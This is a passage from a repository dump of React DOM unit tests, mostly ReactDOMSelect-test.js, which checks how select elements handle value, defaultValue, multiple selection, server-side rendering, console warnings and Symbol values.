expect(container.textContent).toBe('0');\n    await act(() => {\n      container.firstChild.dispatchEvent(\n        new MouseEvent('click', {bubbles: true}),\n      );\n    });\n    // This causes the update to flush earlier than usual. This isn't the ideal\n    // behavior but we use this test to document it. The bug is Safari's, not\n    // ours, so we just do our best to not crash even though the behavior isn't\n    // completely correct.\n    assertLog(['Content at end of click handler: 1']);\n    expect(container.textContent).toBe('1');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMSelect-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// Fix JSDOM. setAttribute is supposed to throw on things that can't be implicitly toStringed.\nconst setAttribute = Element.prototype.setAttribute;\nElement.prototype.setAttribute = function (name, value) {\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  return setAttribute.call(this, name, '' + value);\n};\n\ndescribe('ReactDOMSelect', () => {\n  let React;\n  let ReactDOM;\n  let ReactDOMClient;\n  let ReactDOMServer;\n  let act;\n  let assertConsoleErrorDev;\n\n  const noop = function () {};\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n  });\n\n  it('should allow setting `defaultValue`', async () => {\n    const stub = (\n      <select defaultValue=\"giraffe\">\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('giraffe');\n\n    await act(() => {\n      root.render(<select defaultValue=\"gorilla\">{options}</select>);\n    });\n\n    expect(node.value).toEqual('giraffe');\n  });\n\n  it('should not throw with `defaultValue` and without children', () => {\n    const stub = <select defaultValue=\"dummy\" />;\n\n    expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(stub);\n      });\n    }).not.toThrow();\n  });\n\n  it('should not control when using `defaultValue`', async () => {\n    const el = (\n      <select defaultValue=\"giraffe\">\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(el);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('giraffe');\n\n    node.value = 'monkey';\n    await act(() => {\n      root.render(el);\n    });\n\n    // Uncontrolled selects shouldn't change the value after first mounting\n    expect(node.value).toEqual('monkey');\n  });\n\n  it('should allow setting `defaultValue` with multiple', async () => {\n    const stub = (\n      <select multiple={true} defaultValue={['giraffe', 'gorilla']}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(true); // gorilla\n\n    await act(() => {\n      root.render(\n        <select multiple={true} defaultValue={['monkey']}>\n          {options}\n        </select>,\n      );\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(true); // gorilla\n  });\n\n  it('should allow setting `value`', async () => {\n    const stub = (\n      <select value=\"giraffe\" onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('giraffe');\n\n    await act(() => {\n      root.render(\n        <select value=\"gorilla\" onChange={noop}>\n          {options}\n        </select>,\n      );\n    });\n\n    expect(node.value).toEqual('gorilla');\n  });\n\n  it('should default to the first non-disabled option', async () => {\n    const stub = (\n      <select defaultValue=\"\">\n        <option disabled={true}>Disabled</option>\n        <option disabled={true}>Still Disabled</option>\n        <option>0</option>\n        <option disabled={true}>Also Disabled</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n    expect(node.options[0].selected).toBe(false);\n    expect(node.options[2].selected).toBe(true);\n  });\n\n  it('should allow setting `value` to __proto__', async () => {\n    const stub = (\n      <select value=\"__proto__\" onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"__proto__\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.value).toBe('__proto__');\n\n    await act(() => {\n      root.render(\n        <select value=\"gorilla\" onChange={noop}>\n          {options}\n        </select>,\n      );\n    });\n\n    expect(node.value).toEqual('gorilla');\n  });\n\n  it('should not throw with `value` and without children', () => {\n    const stub = <select value=\"dummy\" onChange={noop} />;\n\n    expect(async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(stub);\n      });\n    }).not.toThrow();\n  });\n\n  it('should allow setting `value` with multiple', async () => {\n    const stub = (\n      <select multiple={true} value={['giraffe', 'gorilla']} onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(true); // gorilla\n\n    await act(() => {\n      root.render(\n        <select multiple={true} value={['monkey']} onChange={noop}>\n          {options}\n        </select>,\n      );\n    });\n\n    expect(node.options[0].selected).toBe(true); // monkey\n    expect(node.options[1].selected).toBe(false); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n  });\n\n  it('should allow setting `value` to __proto__ with multiple', async () => {\n    const stub = (\n      <select multiple={true} value={['__proto__', 'gorilla']} onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"__proto__\">A __proto__!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // __proto__\n    expect(node.options[2].selected).toBe(true); // gorilla\n\n    await act(() => {\n      root.render(\n        <select multiple={true} value={['monkey']} onChange={noop}>\n          {options}\n        </select>,\n      );\n    });\n\n    expect(node.options[0].selected).toBe(true); // monkey\n    expect(node.options[1].selected).toBe(false); // __proto__\n    expect(node.options[2].selected).toBe(false); // gorilla\n  });\n\n  it('should not select other options automatically', async () => {\n    const stub = (\n      <select multiple={true} value={['12']} onChange={noop}>\n        <option value=\"1\">one</option>\n        <option value=\"2\">two</option>\n        <option value=\"12\">twelve</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // one\n    expect(node.options[1].selected).toBe(false); // two\n    expect(node.options[2].selected).toBe(true); // twelve\n  });\n\n  it('should reset child options selected when they are changed and `value` is set', async () => {\n    const stub = <select multiple={true} value={['a', 'b']} onChange={noop} />;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    await act(() => {\n      root.render(\n        <select multiple={true} value={['a', 'b']} onChange={noop}>\n          <option value=\"a\">a</option>\n          <option value=\"b\">b</option>\n          <option value=\"c\">c</option>\n        </select>,\n      );\n    });\n\n    expect(node.options[0].selected).toBe(true); // a\n    expect(node.options[1].selected).toBe(true); // b\n    expect(node.options[2].selected).toBe(false); // c\n  });\n\n  it('should allow setting `value` with `objectToString`', async () => {\n    const objectToString = {\n      animal: 'giraffe',\n      toString: function () {\n        return this.animal;\n      },\n    };\n\n    const el = (\n      <select multiple={true} value={[objectToString]} onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(el);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n\n    // Changing the `value` prop should change the selected options.\n    objectToString.animal = 'monkey';\n\n    const el2 = (\n      <select multiple={true} value={[objectToString]}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n\n    await act(() => {\n      root.render(el2);\n    });\n\n    expect(node.options[0].selected).toBe(true); // monkey\n    expect(node.options[1].selected).toBe(false); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n  });\n\n  it('should allow switching to multiple', async () => {\n    const stub = (\n      <select defaultValue=\"giraffe\">\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n\n    await act(() => {\n      root.render(\n        <select multiple={true} defaultValue={['giraffe', 'gorilla']}>\n          {options}\n        </select>,\n      );\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(true); // gorilla\n  });\n\n  it('should allow switching from multiple', async () => {\n    const stub = (\n      <select multiple={true} defaultValue={['giraffe', 'gorilla']}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(true); // gorilla\n\n    await act(() => {\n      root.render(<select defaultValue=\"gorilla\">{options}</select>);\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(false); // giraffe\n    expect(node.options[2].selected).toBe(true); // gorilla\n  });\n\n  it('does not select an item when size is initially set to greater than 1', async () => {\n    const stub = (\n      <select size=\"2\">\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const select = container.firstChild;\n\n    expect(select.options[0].selected).toBe(false);\n    expect(select.options[1].selected).toBe(false);\n    expect(select.options[2].selected).toBe(false);\n\n    expect(select.value).toBe('');\n    expect(select.selectedIndex).toBe(-1);\n  });\n\n  it('should remember value when switching to uncontrolled', async () => {\n    const stub = (\n      <select value={'giraffe'} onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n\n    await act(() => {\n      root.render(<select>{options}</select>);\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n  });\n\n  it('should remember updated value when switching to uncontrolled', async () => {\n    const stub = (\n      <select value={'giraffe'} onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const options = stub.props.children;\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n    await act(() => {\n      root.render(\n        <select value=\"gorilla\" onChange={noop}>\n          {options}\n        </select>,\n      );\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(false); // giraffe\n    expect(node.options[2].selected).toBe(true); // gorilla\n\n    await act(() => {\n      root.render(<select>{options}</select>);\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(false); // giraffe\n    expect(node.options[2].selected).toBe(true); // gorilla\n  });\n\n  it('should support server-side rendering', () => {\n    const stub = (\n      <select value=\"giraffe\" onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    container.innerHTML = ReactDOMServer.renderToString(stub);\n    const options = container.firstChild.options;\n    expect(options[0].value).toBe('monkey');\n    expect(options[0].selected).toBe(false);\n    expect(options[1].value).toBe('giraffe');\n    expect(options[1].selected).toBe(true);\n    expect(options[2].value).toBe('gorilla');\n    expect(options[2].selected).toBe(false);\n  });\n\n  it('should support server-side rendering with defaultValue', () => {\n    const stub = (\n      <select defaultValue=\"giraffe\">\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    container.innerHTML = ReactDOMServer.renderToString(stub);\n    const options = container.firstChild.options;\n    expect(options[0].value).toBe('monkey');\n    expect(options[0].selected).toBe(false);\n    expect(options[1].value).toBe('giraffe');\n    expect(options[1].selected).toBe(true);\n    expect(options[2].value).toBe('gorilla');\n    expect(options[2].selected).toBe(false);\n  });\n\n  it('should support server-side rendering with dangerouslySetInnerHTML', () => {\n    const stub = (\n      <select defaultValue=\"giraffe\">\n        <option\n          value=\"monkey\"\n          dangerouslySetInnerHTML={{\n            __html: 'A monkey!',\n          }}>\n          {undefined}\n        </option>\n        <option\n          value=\"giraffe\"\n          dangerouslySetInnerHTML={{\n            __html: 'A giraffe!',\n          }}>\n          {null}\n        </option>\n        <option\n          value=\"gorilla\"\n          dangerouslySetInnerHTML={{\n            __html: 'A gorilla!',\n          }}\n        />\n      </select>\n    );\n    const container = document.createElement('div');\n    container.innerHTML = ReactDOMServer.renderToString(stub);\n    const options = container.firstChild.options;\n    expect(options[0].value).toBe('monkey');\n    expect(options[0].selected).toBe(false);\n    expect(options[1].value).toBe('giraffe');\n    expect(options[1].selected).toBe(true);\n    expect(options[2].value).toBe('gorilla');\n    expect(options[2].selected).toBe(false);\n  });\n\n  it('should support server-side rendering with multiple', () => {\n    const stub = (\n      <select multiple={true} value={['giraffe', 'gorilla']} onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    container.innerHTML = ReactDOMServer.renderToString(stub);\n    const options = container.firstChild.options;\n    expect(options[0].value).toBe('monkey');\n    expect(options[0].selected).toBe(false);\n    expect(options[1].value).toBe('giraffe');\n    expect(options[1].selected).toBe(true);\n    expect(options[2].value).toBe('gorilla');\n    expect(options[2].selected).toBe(true);\n  });\n\n  it('should not control defaultValue if re-adding options', async () => {\n    const container = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <select multiple={true} defaultValue={['giraffe']}>\n          <option key=\"monkey\" value=\"monkey\">\n            A monkey!\n          </option>\n          <option key=\"giraffe\" value=\"giraffe\">\n            A giraffe!\n          </option>\n          <option key=\"gorilla\" value=\"gorilla\">\n            A gorilla!\n          </option>\n        </select>,\n      );\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n\n    await act(() => {\n      root.render(\n        <select multiple={true} defaultValue={['giraffe']}>\n          <option key=\"monkey\" value=\"monkey\">\n            A monkey!\n          </option>\n          <option key=\"gorilla\" value=\"gorilla\">\n            A gorilla!\n          </option>\n        </select>,\n      );\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(false); // gorilla\n\n    await act(() => {\n      root.render(\n        <select multiple={true} defaultValue={['giraffe']}>\n          <option key=\"monkey\" value=\"monkey\">\n            A monkey!\n          </option>\n          <option key=\"giraffe\" value=\"giraffe\">\n            A giraffe!\n          </option>\n          <option key=\"gorilla\" value=\"gorilla\">\n            A gorilla!\n          </option>\n        </select>,\n      );\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(false); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n  });\n\n  it('should support options with dynamic children', async () => {\n    const container = document.createElement('div');\n\n    let node;\n\n    function App({value}) {\n      return (\n        <select value={value} ref={n => (node = n)} onChange={noop}>\n          <option key=\"monkey\" value=\"monkey\">\n            A monkey {value === 'monkey' ? 'is chosen' : null}!\n          </option>\n          <option key=\"giraffe\" value=\"giraffe\">\n            A giraffe {value === 'giraffe' && 'is chosen'}!\n          </option>\n          <option key=\"gorilla\" value=\"gorilla\">\n            A gorilla {value === 'gorilla' && 'is chosen'}!\n          </option>\n        </select>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App value=\"monkey\" />);\n    });\n\n    expect(node.options[0].selected).toBe(true); // monkey\n    expect(node.options[1].selected).toBe(false); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n\n    await act(() => {\n      root.render(<App value=\"giraffe\" />);\n    });\n\n    expect(node.options[0].selected).toBe(false); // monkey\n    expect(node.options[1].selected).toBe(true); // giraffe\n    expect(node.options[2].selected).toBe(false); // gorilla\n  });\n\n  it('should warn if value is null', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <select value={null}>\n          <option value=\"test\" />\n        </select>,\n      );\n    });\n    assertConsoleErrorDev([\n      '`value` prop on `select` should not be null. ' +\n        'Consider using an empty string to clear the component or `undefined` ' +\n        'for uncontrolled components.\\n' +\n        '    in select (at **)',\n    ]);\n\n    await act(() => {\n      root.render(\n        <select value={null}>\n          <option value=\"test\" />\n        </select>,\n      );\n    });\n  });\n\n  it('should warn if selected is set on <option>', async () => {\n    function App() {\n      return (\n        <select>\n          <option selected={true} />\n          <option selected={true} />\n        </select>\n      );\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n    assertConsoleErrorDev([\n      'Use the `defaultValue` or `value` props on <select> instead of ' +\n        'setting `selected` on <option>.\\n' +\n        '    in option (at **)\\n' +\n        '    in App (at **)',\n    ]);\n\n    await act(() => {\n      root.render(<App />);\n    });\n  });\n\n  it('should warn if value is null and multiple is true', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <select value={null} multiple={true}>\n          <option value=\"test\" />\n        </select>,\n      );\n    });\n    assertConsoleErrorDev([\n      '`value` prop on `select` should not be null. ' +\n        'Consider using an empty array when `multiple` is ' +\n        'set to `true` to clear the component or `undefined` ' +\n        'for uncontrolled components.\\n' +\n        '    in select (at **)',\n    ]);\n\n    await act(() => {\n      root.render(\n        <select value={null} multiple={true}>\n          <option value=\"test\" />\n        </select>,\n      );\n    });\n  });\n\n  it('should refresh state on change', async () => {\n    const stub = (\n      <select value=\"giraffe\" onChange={noop}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n\n    try {\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(stub);\n      });\n\n      const node = container.firstChild;\n\n      await act(() => {\n        node.dispatchEvent(\n          new Event('change', {bubbles: true, cancelable: false}),\n        );\n      });\n\n      expect(node.value).toBe('giraffe');\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should warn if value and defaultValue props are specified', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <select value=\"giraffe\" defaultValue=\"giraffe\" readOnly={true}>\n          <option value=\"monkey\">A monkey!</option>\n          <option value=\"giraffe\">A giraffe!</option>\n          <option value=\"gorilla\">A gorilla!</option>\n        </select>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Select elements must be either controlled or uncontrolled ' +\n        '(specify either the value prop, or the defaultValue prop, but not ' +\n        'both). Decide between using a controlled or uncontrolled select ' +\n        'element and remove one of these props. More info: ' +\n        'https://react.dev/link/controlled-components\\n' +\n        '    in select (at **)',\n    ]);\n\n    await act(() => {\n      root.render(\n        <select value=\"giraffe\" defaultValue=\"giraffe\" readOnly={true}>\n          <option value=\"monkey\">A monkey!</option>\n          <option value=\"giraffe\">A giraffe!</option>\n          <option value=\"gorilla\">A gorilla!</option>\n        </select>,\n      );\n    });\n  });\n\n  it('should not warn about missing onChange in uncontrolled textareas', async () => {\n    const container = document.createElement('div');\n    let root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<select />);\n    });\n\n    await act(() => {\n      root.unmount();\n    });\n    root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(<select value={undefined} />);\n    });\n  });\n\n  it('should be able to safely remove select onChange', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    async function changeView() {\n      root.unmount();\n    }\n\n    const stub = (\n      <select value=\"giraffe\" onChange={changeView}>\n        <option value=\"monkey\">A monkey!</option>\n        <option value=\"giraffe\">A giraffe!</option>\n        <option value=\"gorilla\">A gorilla!</option>\n      </select>\n    );\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    await expect(\n      act(() => {\n        node.dispatchEvent(\n          new Event('change', {bubbles: true, cancelable: false}),\n        );\n      }),\n    ).resolves.not.toThrow();\n\n    expect(container.firstChild).toBe(null);\n  });\n\n  it('should select grandchild options nested inside an optgroup', async () => {\n    const stub = (\n      <select value=\"b\" onChange={noop}>\n        <optgroup label=\"group\">\n          <option value=\"a\">a</option>\n          <option value=\"b\">b</option>\n          <option value=\"c\">c</option>\n        </optgroup>\n      </select>\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // a\n    expect(node.options[1].selected).toBe(true); // b\n    expect(node.options[2].selected).toBe(false); // c\n  });\n\n  // @gate !disableLegacyMode\n  it('should allow controlling `value` in a nested legacy render', async () => {\n    let selectNode;\n\n    class Parent extends React.Component {\n      state = {\n        value: 'giraffe',\n      };\n\n      componentDidMount() {\n        this._renderNested();\n      }\n\n      componentDidUpdate() {\n        this._renderNested();\n      }\n\n      _handleChange(event) {\n        this.setState({value: event.target.value});\n      }\n\n      _renderNested() {\n        ReactDOM.render(\n          <select\n            onChange={this._handleChange.bind(this)}\n            ref={n => (selectNode = n)}\n            value={this.state.value}>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n            <option value=\"gorilla\">A gorilla!</option>\n          </select>,\n          this._nestingContainer,\n        );\n      }\n\n      render() {\n        return <div ref={n => (this._nestingContainer = n)} />;\n      }\n    }\n\n    const container = document.createElement('div');\n\n    document.body.appendChild(container);\n\n    ReactDOM.render(<Parent />, container);\n\n    expect(selectNode.value).toBe('giraffe');\n\n    selectNode.value = 'gorilla';\n\n    let nativeEvent = document.createEvent('Event');\n    nativeEvent.initEvent('input', true, true);\n    selectNode.dispatchEvent(nativeEvent);\n\n    expect(selectNode.value).toEqual('gorilla');\n\n    nativeEvent = document.createEvent('Event');\n    nativeEvent.initEvent('change', true, true);\n    selectNode.dispatchEvent(nativeEvent);\n\n    expect(selectNode.value).toEqual('gorilla');\n\n    document.body.removeChild(container);\n  });\n\n  it('should not select first option by default when multiple is set and no defaultValue is set', async () => {\n    const stub = (\n      <select multiple={true} onChange={noop}>\n        <option value=\"a\">a</option>\n        <option value=\"b\">b</option>\n        <option value=\"c\">c</option>\n      </select>\n    );\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(stub);\n    });\n\n    const node = container.firstChild;\n\n    expect(node.options[0].selected).toBe(false); // a\n    expect(node.options[1].selected).toBe(false); // b\n    expect(node.options[2].selected).toBe(false); // c\n  });\n\n  describe('When given a Symbol value', () => {\n    it('treats initial Symbol value as missing', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select onChange={noop} value={Symbol('foobar')}>\n            <option value={Symbol('foobar')}>A Symbol!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <option> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in option (at **)',\n      ]);\n\n      const node = container.firstChild;\n      expect(node.value).toBe('A Symbol!');\n    });\n\n    it('treats updated Symbol value as missing', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select onChange={noop} value=\"monkey\">\n            <option value={Symbol('foobar')}>A Symbol!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <option> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in option (at **)',\n      ]);\n\n      let node = container.firstChild;\n      expect(node.value).toBe('monkey');\n\n      await act(() => {\n        root.render(\n          <select onChange={noop} value={Symbol('foobar')}>\n            <option value={Symbol('foobar')}>A Symbol!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n\n      node = container.firstChild;\n\n      expect(node.value).toBe('A Symbol!');\n    });\n\n    it('treats initial Symbol defaultValue as an empty string', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select defaultValue={Symbol('foobar')}>\n            <option value={Symbol('foobar')}>A Symbol!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <option> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in option (at **)',\n      ]);\n\n      const node = container.firstChild;\n      expect(node.value).toBe('A Symbol!');\n    });\n\n    it('treats updated Symbol defaultValue as an empty string', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <select defaultValue=\"monkey\">\n            <option value={Symbol('foobar')}>A Symbol!</option>\n            <option value=\"monkey\">A monkey!</option>\n            <option value=\"giraffe\">A giraffe!</option>\n          </select>,\n        );\n      });\n      assertConsoleErrorDev([\n        'Invalid value for prop `value` on <option> tag. ' +\n          'Either remove it from the element, or pass a string or number value to keep it in the DOM. ' +\n          'For details, see https://react.dev/link/attribute-behavior \\n' +\n          '    in option (at **)',\n      ]);\n\n      let node = container.firstChild;\n      expect(node.value).toBe('monkey');\n\n      container = document.createElement('div');\n      root = 